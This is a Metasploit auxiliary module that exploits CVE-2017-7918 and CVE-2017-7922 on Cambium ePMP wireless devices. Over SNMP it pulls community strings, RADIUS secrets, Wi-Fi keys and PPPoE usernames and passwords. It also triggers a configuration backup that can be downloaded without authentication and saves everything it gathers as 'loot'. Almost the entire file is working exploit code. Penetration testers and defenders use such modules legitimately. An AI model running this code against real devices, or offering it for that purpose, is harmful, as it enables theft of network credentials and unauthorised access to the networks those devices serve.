##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Cambium ePMP 1000 SNMP Enumeration',
      'Description' => %{
        Cambium devices (ePMP, PMP, Force, & others) can be administered using
        SNMP. The device configuration contains IP addresses, keys, and passwords,
        amongst other information. This module uses SNMP to extract Cambium ePMP device
        configuration. On certain software versions, specific device configuration
        values can be accessed using SNMP RO string, even though only SNMP RW string
        should be able to access them, according to MIB documentation. The module also
        triggers full configuration backup, and retrieves the backup url. The
        configuration file can then be downloaded without authentication. The module
        has been tested on Cambium ePMP versions 3.5 & prior.
      },
      'References' =>
        [
          ['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'],
          ['CVE', '2017-7918'],
          ['CVE', '2017-7922']
        ],
      'Author' => ['Karn Ganeshen'],
      'License' => MSF_LICENSE
    )
  end

  def run_host(ip)
    begin
      snmp = connect_snmp

      epmp_info = ''

      # System Info
      snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0')
      snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0')
      system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0')
      uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0')

      epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n"
      epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n"
      epmp_info << "Device UpTime: #{system_uptime}" << "\n"
      epmp_info << "U-boot version: #{uboot_version}" << "\n"

      # SNMP Info
      snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0')
      snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0')
      snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0')
      snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0')

      epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
      epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
      epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
      epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n"

      # WIFI Radius Info
      wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0')
      wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0')
      wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0')
      wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0')
      wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0')

      epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n"
      epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n"
      epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n"
      epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n"
      epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n"

      # WIFI Info
      wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0')
      wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0')
      wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0')

      epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
      epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
      epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"

      # Network PPPoE config
      network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0')
      network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0')
      network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0')

      epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n"
      epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n"
      epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n"

      # Printing captured info
      print_status("Fetching System Information...\n")
      print_good("#{ip}")
      print_good("SNMP System Name: #{snmp_systemname}")
      print_good("SNMP System Description: #{snmp_systemdescription}")
      print_good("Device UpTime: #{system_uptime}")
      print_good("U-boot version: #{uboot_version} \n")

      print_status("Fetching SNMP Information...\n")
      print_good("SNMP read-only community name: #{snmp_readonly_community}")
      print_good("SNMP read-write community name: #{snmp_readwrite_community}")
      print_good("SNMP Trap Community: #{snmp_trap_community}")
      print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n")

      print_status("Fetching WIFI Information...\n")
      print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
      print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
      print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")

      print_status("Fetching WIFI Radius Information...\n")
      print_good("RADIUS server info: #{wireless_radius_serverinfo}")
      print_good("RADIUS server port: #{wireless_radius_serverport}")
      print_good("RADIUS server secret: #{wireless_radius_serversecret}")
      print_good("Wireless Radius Username: #{wireless_radius_username}")
      print_good("Wireless Radius Password: #{wireless_radius_password} \n")

      print_status("Fetching Network PPPoE Information...\n")
      print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}")
      print_good("Network PPPoE Username: #{network_wan_pppoeusername}")
      print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n")

      # set request
      backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0'
      enable_backup = '1'
      varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup))
      snmp.set(varbind)
      backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0'
      backup_location = snmp.get_value(backup_location_oid)

      if @backup_location.present? == false
        print_status('Backup needs to triggered manually. Run the following commands:')
        print_status("   snmpset -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1")
        print_status("   snmpget -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n")
      else
        print_good("Configuration backed-up for direct download at: #{backup_location}")
      end

      # Woot we got loot.
      loot_name     = 'snmp_loot'
      loot_type     = 'text/plain'
      loot_filename = 'epmp1000_snmp_loot.txt'
      loot_desc     = 'Cambium ePMP configuration data'
      p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc)
      print_good("Cambium ePMP loot saved at #{p}")

    rescue SNMP::RequestTimeout
      print_error("#{ip} SNMP request timeout.")
    rescue Rex::ConnectionError
      print_error("#{ip} Connection refused.")
    rescue SNMP::InvalidIpAddress
      print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
    rescue SNMP::UnsupportedVersion
      print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Unknown error: #{e.class} #{e}")
      elog(e)
    ensure
      disconnect_snmp
    end
  end
end
